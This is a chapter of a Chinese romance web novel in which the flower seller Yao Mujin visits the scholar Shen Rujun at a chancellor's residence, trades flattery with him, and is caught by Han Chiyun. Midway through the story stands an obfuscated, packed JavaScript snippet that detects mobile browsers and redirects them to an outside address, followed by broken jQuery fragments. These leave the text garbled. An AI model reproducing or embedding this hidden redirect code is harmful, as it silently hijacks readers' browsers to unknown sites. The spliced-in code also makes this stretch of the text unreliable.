14.调笑

作品:《娘子庸俗

    次日清早,姚木槿仍像往常一样,天不亮就挑着花担去了东马塍。这回可长了记性,那劳什子的蓝莲花是一枝也没要,只拿了些紫薇和栀子。


    装好花担,她便一路向南走,由余杭门进城,沿着街巷一路走一路叫卖。今日拿的花枝本就不多,故而不到未时就全部卖掉。


    卖完了花,姚木槿先去了善履坊顾沾沾那儿,把顾沾沾做的热乎菜美美地大吃一顿。因她自己的衣裳惹了花泥,便又借了妹妹的干净衣裳换好,这才准备去找沈如钧。


    “小啾,莫急走。”顾沾沾拉住换好衣裳的姚木槿,将她扯回妆奁前。


    “怎么?”


    “我给你把头发篦一篦,都毛糙了。”


    顾沾沾说着便执起篦子为姚木槿梳头,末了还拿出自己的桂花头油,仔仔细细抹在姚木槿的头发上。


    妹妹的手又软又细,捏着篦子梳过发丝,姚木槿舒服得眯起眼睛,似快要睡去。


    梳完了头,顾沾沾却仍觉不满意,复摆出自己的胭脂水粉,为姚木槿绘了个极其柔美的檀晕妆;紧接着又是一通翻箱倒柜,找出一朵芍药象生花,非要给姚木槿戴上。


    “我不戴这个,太华贵了。”姚木槿推拒道。


    “戴着,听我的,”顾沾沾却态度强硬,“一歇歇去相府,莫叫人看轻了。”


    “我走后门进去,相府的人根本见不着我。”姚木槿满不在乎地说。


    顾沾沾却扁了扁嘴,嫌弃道:“旁的人见不见得着又有何关系,关键是沈官人见得着。你不是要去找他?你就蓬头垢面的去哦,你让他心里怎么想?”


    姚木槿拗不过,最终只得任由顾沾沾捯饬。一番梳妆打扮过后已是晌午大错之时,姚木槿忙不迭拎起装了衣裳的小包袱,匆匆离开顾家。


    好在善履坊距离相府并不远,只须沿着街巷一路向东,过了丰乐桥便是五圣庙,再往东走不多久,这便瞧见路左边是皇城司,右边是相府。相府后墙果然开着一扇供仆役们办事出入的小门,门外闲坐两名阍侍,正百无聊赖地打盹。


    姚木槿上前与那二位阍侍道了声万福,并说自己是来寻沈如钧的。


    其中一人引着姚木槿进门,指了指右手边一条夹道:“娘子且往前去,前面就是沈官人的屋子。”


    姚木槿谢罢,这便沿着夹道向前,穿过月洞门,果然见到一个没有倒座的三合小院。院中站着一位十七八岁的妙龄女子,正拎着一把洒壶浇花,见她来了便问道:“你是何人?”


    “我姓姚,来寻沈官人。”


    话音刚落便见正屋的帘子被人掀开,沈如钧步出房门,笑道:“鄙人不知姚娘子到来,有失远迎。蒹葭,斟茶。”


    这院子中央置有一方石桌,其畔四个石墩。沈如钧边说话边向着石桌打了个手势:“姚娘子,请坐吧。”


    姚木槿笑着落座:“沈官人上次说我可以随时来找你,我这便来了。”


    沈如钧也笑道:“娘子一来,蓬荜生辉。”


    二人正说着话,那位名唤蒹葭的女使已将两盏粗茶端了过来。


    沈如钧复又吩咐:“你去灶房要两盘果子。就说我这边来客人了,我要待客。”


    蒹葭噘着嘴,嘟哝道:“又让我去讨没趣儿呢,上次不过是去要一碗蒸蛋,一个两个都阴阳怪气的。那些人全是势利眼,大官人吩咐的话,他们连个屁都不敢放,见了咱们就开始说三道四,一个个狗眼看人低,等将来官人你考中状元做了大官,把他们全部抓起来一顿好打……”


    蒹葭话还没说完,就被沈如钧截住了话头:“行了行了,快去吧,犯不着和那些人计较。”


    不过是三言两句,姚木槿却听出来了,这沈如钧在相府里的日子也许是不太好过。想想也对,他一个无权无势的读书人,借住于这样的膏粱贵胄之家——人在屋檐下,哪能不低头呢?


    姚木槿捧起茶盏慢慢抿着,心里忽然对沈如钧生起一丝惋惜之情,只觉这样好的君子却要受人轻视、遭人白眼,实在不是滋味。她眯起眼睛向对方看去,可午后的阳光太过刺眼,什么都没看清。


    沈如钧这院子里并无可以遮阴的树木,杭城夏日骄阳似火,二人所坐之处正正地被太阳晒着,简直晒得头晕脑胀。


    沈如钧见姚木槿眯着眼睛,不好意思地笑了笑,道:“若是姚娘子不介意,不如移步书房说话,那里倒是凉爽些。外面日头太毒,晒久了恐会晒出病来。”


    姚木槿对那些叽叽歪歪的男女大防之说向来是不在乎的,此刻她巴不得赶紧找个凉快地儿躲一躲,于是便随着沈如钧进了书房。


    书房的陈设十分简单:靠窗一张书桌,桌前一把官帽椅,桌上摆着笔墨纸砚及两个黑漆书奁;倚墙放置一面盝顶方柜,柜旁随意扔着两把小杌子。


    沈如钧将那张官帽椅摆出来请姚木槿坐了,他自己则倚着书桌,站在窗前。窗非支摘窗,而是两扇二抹头槛窗,窗扇向外开着。


    “上回在迟云那儿,娘子说愿意给鄙人做妾,不知这话是否当真?”沈如钧忽然问道。


    姚木槿不提防他突然提起这事,愣了一下才答:“自然当真。只不知沈官人打算何时接奴家入府?”


    “我已修书一封,托人带回泰州交予家严。信内已将此事原原本本告知清楚,只待家严同意,我便立刻将娘子接来。”


    “若是家中大娘子不同意呢?”姚木槿忽然想起沈如钧在原籍的妻。


    “不用管她,她做不得主。”沈如钧答道。


    说这话时,沈如钧抱臂站在窗牖前,因背着光,面上是一片黑黢黢的阴影,看不清表情如何,但声音却是温和的,甚至于太过温和,反而显出一种不易察觉的冷漠。


    这冷漠让姚木槿隐隐有些不舒服,于是换了个话题:“奴家昨日在西湖卖花,恰好遇见韩官人在湖上宴饮,不知沈官人为何没去?”


    沈如钧笑答:“我本也是要去的,只是临时受了些风寒,不好饮酒,又怕扫了大家的兴致,故而只能躲在家中读些闲书。”


    听沈如钧说自己病了,姚木槿急忙问道:“可要紧么?”


    “已经好多了。”


    姚木槿暼了一眼书桌上摊开的书册和凌乱的纸笔,柔声劝道:“生病了就该好生歇着才对,怎还这般辛苦读书?读书最是耗费心血,越读身子越差。”


    沈如钧转身将桌上散落的笔墨纸砚诸物收拾好,边收边笑道:“家中二老还等着我光耀门楣呢。明春礼部试,我若再次名落孙山,那可就彻底没脸见人了。我又不像迟云有门荫,我没有那么厉害的伯父和家世,便只能闷头读书,自己给自己挣个前程。”


    依旧是温和的嗓音,只是这回并不显冷漠,倒显得楚楚可怜,似为着不公平的出身而哀愁。


    听闻此语,姚木槿再坐不住,起身安慰道:“沈官人如此用功,定能金榜题名!奴家知道一个小庙,可灵验了。待明春开考前,奴家去替沈官人拜一拜,求菩萨保佑,一定能成。”


    “姚娘子生得貌美,心地又如此善良。你愿意给我做妾,真是我三生修来的福气。”沈如钧近前一步,低声说。


    姚木槿被他夸得不好意思,赶紧给他夸回去:“我今日见沈官人如此读书上进,亦觉踏实不少。我是个孤女,无父无母,亦无旁的亲眷……沈官人是好人,我很安心。”


    沈如钧轻笑一声,转头向窗外看去,哪知只看了一眼便立刻收回目光,突然移了移身子,挡在了姚木槿与窗牖之间。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307387|198150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姚木槿是侧对窗牖,并未发觉窗外有何不妥,只以为沈如钧是被太阳晒到了,于是也移了移身子,好让对方站得舒服些。


    “姚娘子,你觉得我好还是迟云好?”沈如钧压低声音问道。


    姚木槿被这个突然向她抛来的奇怪问题问得措手不及,张了张口,却不知该如何回答。


    沈如钧摆手笑道:“是我唐突,让娘子为难。我不过是个塾师之子,哪能跟别人相比。”


    此刻二人之间距离很近,沈如钧的声音也很低,低得让人差点儿没听清他说什么。


    姚木槿抬头看向沈如钧,发现他虽然在笑,可笑容里却有种凄凄凉凉的感觉,再加上他话里的自哀,这让姚木槿忍不住心生怜悯。


    她不忍他难过,遂定声说道:“沈官人快别这样说,若与韩官人相比,自然是你更胜一筹。”


    “哦?”沈如钧眼前一亮,追问道,“我比他好在何处?”


    “他那人,又古板又迂腐,没意思得很。沈官人不一样。沈官人总是笑着,让人心生亲近。单说相处言笑,你就比他好多了。”


    姚木槿知道自己口是心非。


    其实韩迟云没她说得那么无趣,他古板是古板,但却很有意思。他干净得像月亮倒映于水面,而她则像个拿着竹竿乱拨水中月的顽童。她忍不住想要逗弄他,尤其喜欢看他板着脸却压不住面颊飞红的模样,她心里总是痒痒的、叮叮咚咚的。


    可这些话没必要对沈如钧说,再加上她很快就要成为沈如钧的妾室,纵使她只是为了那一千贯决定“暂时”做他的妾,但说点甜言蜜语讨好一下眼前这男人,当然是有百利而无一害。


    果然,沈如钧听了姚木槿的话,面上显出十分满意的神情。


    “娘子一直拎着这包袱,不知内中所置何物?”沈如钧指着姚木槿手中的包袱问道。


    姚木槿“哎哟”一声,这才想起自己今日因何来此,忙将包袱塞进沈如钧手中,道:“这是韩官人的衣裳,上回不小心落在奴家那里,奴家拿来还他。还请沈官人代为转交。”


    沈如钧眉头轻皱:“迟云的衣裳为何会落在娘子那儿?”


    问完这话他又立刻补充道:“娘子莫恼,我并无责怪娘子之意,只是这么一问。”


    姚木槿不知该怎么解释她和韩迟云之间发生的事,只得敷衍道:“当时奴家生病,韩官人怕奴家冷,所以就……”


    沈如钧却突然笑了起来:“我见娘子一直抱着这包袱,宝贝似的,还以为这里面是娘子为我缝的衣裳,却原来是我自作多情了。”


    姚木槿被沈如钧说得心头蓦然升起一阵愧意,赶紧顺着他的话就坡下驴:


    “奴家虽然女红做得不好,但若是官人不嫌弃,奴家回去就为官人缝个荷包,过几日给官人送来。”


    “正好我的荷包坏了,想换个新的。那就一言为定?”沈如钧笑道。


    “一言为定。”


    二人又说笑了两句闲话,姚木槿瞧着天色不早,这便打算告辞离去。


    “我送你出府,帮你雇顶轿子。”沈如钧说着牵起姚木槿的手,牵着她往书房门口走去。


    “不用了,我先去我妹妹那儿,与她一起吃过夕食,再慢慢走回去就行。”


    姚木槿想把手缩回来,哪知沈如钧却牵得更紧,劝道:“莫走那么多路,当心把脚走坏。将来你跟着我,我可不要你忙忙碌碌。你只须享福便好。”


    他的手掌温热,话语亦是关切温柔,姚木槿心头一暖,便没再缩手,任由对方牵着。


    哪知一走出房门她却倏然愣住——只见韩迟云就站在门外,也不知站了多久,面色凄白如霜,拳头却像攥着一块生铁那般,攥得死紧。